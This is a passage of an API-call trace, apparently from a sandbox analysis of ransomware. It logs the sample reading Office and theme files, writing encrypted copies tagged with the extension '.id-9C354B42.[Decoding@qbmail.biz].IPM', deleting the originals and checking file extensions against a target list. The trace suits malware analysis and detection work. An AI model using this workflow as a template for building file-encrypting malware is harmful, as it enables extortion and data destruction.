| out: lpNewFilePointer=0x0) returned 1 [0094.519] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0095.173] GetLastError () returned 0x0 [0095.173] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x553, lpOverlapped=0x0) returned 1 [0095.332] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x560, lpOverlapped=0x0) returned 1 [0095.334] ReadFile (in: hFile=0x1c4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.334] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.334] SetEndOfFile (hFile=0x1f4) returned 1 [0095.334] CloseHandle (hObject=0x1f4) returned 1 [0095.334] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.334] SetEndOfFile (hFile=0x1c4) returned 1 [0095.335] CloseHandle (hObject=0x1c4) returned 1 [0095.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0095.336] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.336] lstrlenW (lpString=".doc") returned 4 [0095.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0095.336] lstrlenW (lpString=".docx") returned 5 [0095.336] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0095.336] lstrlenW (lpString=".pdf") returned 4 [0095.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0095.336] lstrlenW (lpString=".xls") returned 4 [0095.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0095.336] lstrlenW (lpString=".xlsx") returned 5 [0095.336] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0095.336] lstrlenW (lpString=".ppt") returned 4 [0095.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.336] lstrlenW (lpString=".zip") returned 4 [0095.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0095.336] lstrlenW (lpString=".rar") returned 4 [0095.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0095.336] lstrlenW (lpString=".bz2") returned 4 [0095.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0095.337] lstrlenW (lpString=".7z") returned 3 [0095.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString=".dbf") returned 4 [0095.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString=".1cd") returned 4 [0095.337] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString=".jpg") returned 4 [0095.337] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString=".doc") returned 4 [0095.337] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0095.337] lstrlenW (lpString=".docx") returned 5 [0095.337] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0095.337] lstrlenW (lpString=".pdf") returned 4 [0095.337] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString=".xls") returned 4 [0095.337] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString=".xlsx") returned 5 [0095.337] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0095.337] lstrlenW (lpString=".ppt") returned 4 [0095.337] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.337] lstrlenW (lpString=".zip") returned 4 [0095.337] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString=".rar") returned 4 [0095.337] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0095.337] lstrlenW (lpString=".bz2") returned 4 [0095.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0095.337] lstrlenW (lpString=".7z") returned 3 [0095.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.338] lstrlenW (lpString=".dbf") returned 4 [0095.338] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0095.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.338] lstrlenW (lpString=".1cd") returned 4 [0095.338] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0095.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0095.338] lstrlenW (lpString=".jpg") returned 4 [0095.338] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0095.338] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0095.338] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0095.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0095.338] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1287) returned 1 [0095.338] CloseHandle (hObject=0x1c4) returned 1 [0095.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0095.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0095.339] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.339] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x7e0 [0068.684] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6a02a0 [0068.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6b02a8 [0068.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fea8 [0068.685] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65da98 [0068.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fec0 [0068.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3750020 [0068.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fed8 [0068.687] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fed8, Size=0x20) returned 0x624a68 [0068.687] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fed8 [0068.687] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fed8, Size=0x20) returned 0x624a40 [0068.687] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.688] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.688] Wow64DisableWow64FsRedirection (in: OldValue=0x2c6ff58 | out: OldValue=0x2c6ff58*=0x0) returned 1 [0068.688] lstrlenW (lpString="kernel32.dll") returned 12 [0068.688] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a68 | out: hHeap=0x5d0000) returned 1 [0068.688] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.688] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5d0000) returned 1 [0068.688] Sleep (dwMilliseconds=0x64) [0068.961] Sleep (dwMilliseconds=0x64) [0069.321] Sleep (dwMilliseconds=0x64) [0069.545] Sleep (dwMilliseconds=0x64) [0069.846] Sleep (dwMilliseconds=0x64) [0069.951] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0069.951] lstrlenW (lpString="Setup.xml") returned 9 [0069.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0070.111] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2296) returned 1 [0070.111] CloseHandle (hObject=0x1d0) returned 1 [0070.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0070.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0070.111] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.111] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0070.112] GetLastError () returned 0x0 [0070.112] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0070.316] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x900, lpOverlapped=0x0) returned 1 [0070.320] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.320] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.321] SetEndOfFile (hFile=0x1d4) returned 1 [0070.322] CloseHandle (hObject=0x1d4) returned 1 [0070.325] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.325] SetEndOfFile (hFile=0x1d0) returned 1 [0070.328] CloseHandle (hObject=0x1d0) returned 1 [0070.328] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.330] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0070.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.331] lstrlenW (lpString=".doc") returned 4 [0070.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.331] lstrlenW (lpString=".docx") returned 5 [0070.331] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.331] lstrlenW (lpString=".pdf") returned 4 [0070.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.331] lstrlenW (lpString=".xls") returned 4 [0070.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.331] lstrlenW (lpString=".xlsx") returned 5 [0070.331] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.331] lstrlenW (lpString=".ppt") returned 4 [0070.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.332] lstrlenW (lpString=".zip") returned 4 [0070.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.332] lstrlenW (lpString=".rar") returned 4 [0070.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.332] lstrlenW (lpString=".bz2") returned 4 [0070.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.332] lstrlenW (lpString=".7z") returned 3 [0070.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.332] lstrlenW (lpString=".dbf") returned 4 [0070.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.332] lstrlenW (lpString=".1cd") returned 4 [0070.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.332] lstrlenW (lpString=".jpg") returned 4 [0070.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.333] lstrlenW (lpString=".doc") returned 4 [0070.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.333] lstrlenW (lpString=".docx") returned 5 [0070.333] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.333] lstrlenW (lpString=".pdf") returned 4 [0070.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.333] lstrlenW (lpString=".xls") returned 4 [0070.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.333] lstrlenW (lpString=".xlsx") returned 5 [0070.333] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.333] lstrlenW (lpString=".ppt") returned 4 [0070.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.333] lstrlenW (lpString=".zip") returned 4 [0070.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.333] lstrlenW (lpString=".rar") returned 4 [0070.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.334] lstrlenW (lpString=".bz2") returned 4 [0070.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.334] lstrlenW (lpString=".7z") returned 3 [0070.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.334] lstrlenW (lpString=".dbf") returned 4 [0070.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.334] lstrlenW (lpString=".1cd") returned 4 [0070.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.334] lstrlenW (lpString=".jpg") returned 4 [0070.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.334] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.334] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0070.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.489] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1450) returned 1 [0070.489] CloseHandle (hObject=0x1bc) returned 1 [0070.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0070.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.490] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.490] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.491] GetLastError () returned 0x0 [0070.491] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0070.494] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0070.496] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.496] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0070.497] SetEndOfFile (hFile=0x1e8) returned 1 [0070.497] CloseHandle (hObject=0x1e8) returned 1 [0070.500] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.500] SetEndOfFile (hFile=0x1bc) returned 1 [0070.502] CloseHandle (hObject=0x1bc) returned 1 [0070.502] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.503] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0070.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.503] lstrlenW (lpString=".doc") returned 4 [0070.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.503] lstrlenW (lpString=".docx") returned 5 [0070.503] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.503] lstrlenW (lpString=".pdf") returned 4 [0070.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.503] lstrlenW (lpString=".xls") returned 4 [0070.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString=".xlsx") returned 5 [0070.504] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.504] lstrlenW (lpString=".ppt") returned 4 [0070.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.504] lstrlenW (lpString=".zip") returned 4 [0070.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.504] lstrlenW (lpString=".rar") returned 4 [0070.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString=".bz2") returned 4 [0070.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString=".7z") returned 3 [0070.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.504] lstrlenW (lpString=".dbf") returned 